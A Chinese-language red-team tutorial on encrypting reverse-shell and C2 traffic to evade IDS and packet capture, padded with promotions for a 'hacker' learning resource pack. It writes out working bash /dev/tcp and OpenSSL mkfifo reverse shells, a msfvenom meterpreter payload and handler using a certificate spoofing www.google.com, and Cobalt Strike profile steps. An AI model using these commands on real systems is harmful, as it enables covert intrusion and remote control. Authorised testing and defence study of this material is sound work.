在红队渗透测试的后续渗透阶段,为了持续扩大战果,横向移动是不可避免的关键步骤。这个过程中,我们通常需要反弹shell来获取远程控制权。然而,如果这些shell连接采用明文传输,将面临诸多安全风险:不仅容易被wireshark等工具直接捕获并分析出操作命令和返回信息,更会被内网中的IDS或其他防护设备检测到攻击特征。一旦蓝队对攻击流量进行回溯分析,整个攻击过程将被完整复现,导致红队行动被迅速识别并终止。
本文将详细解析几种常见的流量加密混淆技术,帮助红队测试人员在合法授权的渗透测试中规避防御系统的检测。
明文传输的风险
首先,让我们通过一个简单的示例,了解明文传输的危险性。
环境配置:
- 攻击者:Kali (192.168.179.134)
- 受害者:Ubuntu (192.168.179.139)
在这个后渗透阶段场景中,我们已获得目标系统初始访问权限。下面演示一个典型的明文反弹shell流程:
- 攻击者使用nc命令监听反弹端口:
nc -lvvp 8080
- 在受害者机器上执行反弹shell命令:
bash -i >& /dev/tcp/192.168.179.134/8080 0>&1
连接建立后,使用wireshark抓包分析TCP流量,可以清晰地看到所有执行的命令和返回结果——这正是明文传输的致命弱点。任何网络监控设备都能轻松捕获这些信息,导致攻击行为完全暴露。
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
OpenSSL加密传输技术
OpenSSL作为一个开源的软件库包,可以帮助我们建立安全的加密通信通道,有效避免流量被监听和分析。
实施步骤:
- 攻击机使用OpenSSL生成自签名证书:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
- 攻击机监听加密端口:
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
- 目标机器执行加密反弹shell命令:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.179.134:8080 > /tmp/s; rm /tmp/s
这里使用了命名管道(FIFO文件)技术,它在文件系统中以文件名形式存在,但行为类似于管道,为shell输入输出提供了桥梁。
使用wireshark分析此时的TCP流量,我们会发现所有通信内容均已加密,呈现为无法识别的乱码,有效保护了操作的隐秘性。
Metasploit框架的流量加密
MSF提供了基于OpenSSL的流量加密功能,特别适用于Windows目标系统的渗透测试。
环境配置:
- 攻击者:Kali (192.168.179.134)
- 受害者:Windows (192.168.179.136)
操作流程:
- 攻击机创建OpenSSL证书:
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt
- 生成加密后门载荷:
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.179.134 LPORT=8080 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat
- 设置MSF监听器:
use exploit/multi/handler
set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.179.134
set LPORT 8080
set HandlerSSLCert /root/msf/www.google.com.pem
set StagerVerifySSLCert true
exploit
执行生成的后门文件后,目标系统会建立加密连接。wireshark抓包分析表明,所有通信流量均经过SSL/TLS加密,无法被直接解析。
Cobalt Strike自定义Profile实现高级流量加密
Cobalt Strike因其广泛应用,已成为许多IDS和流量检测工具的重点监控对象。使用默认配置和证书进行渗透测试,在高安全性环境中极易被识别和拦截。通过自定义C2 profile和证书,我们可以有效规避这些检测。
实施步骤:
- 生成自定义SSL证书:
keytool -genkey -alias ocean -keyalg RSA -validity 36500 -keystore ocean.store
- 编辑CS团队服务器配置文件,修改关键参数:
- 设置自定义User-Agent
- 配置睡眠时间和抖动率
- 自定义HTTPS证书信息
- 设置代码签名证书
- 定制HTTP请求和响应格式
- 使用c2lint验证配置正确性:
./c2lint ocean.profile
- 启动自定义团队服务器:
复制创建自定义HTTPS监听器并生成后门
完成上述配置后,目标执行后门程序建立的连接将使用自定义证书进行加密。wireshark分析表明,不仅通信内容被加密,连接特征也与标准CS流量有明显区别,大大增加了检测难度。
总结与安全建议
流量加密技术在红队渗透测试中具有不可替代的作用,能有效规避检测并保持操作隐蔽性。然而,需要强调的是,这些技术仅限于合法授权的渗透测试活动中使用。
对于防御方,建议:
- 部署深度包检测设备,关注加密流量的异常模式
- 实施证书透明度检查,识别可疑的自签名证书
- 监控异常的网络连接持续时间和数据传输模式
- 建立网络基线,识别偏离正常行为的通信
通过合理运用流量加密技术,红队测试人员可以更全面地评估目标环境的实际安全状况,帮助组织发现并修复真实威胁可能利用的安全漏洞。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~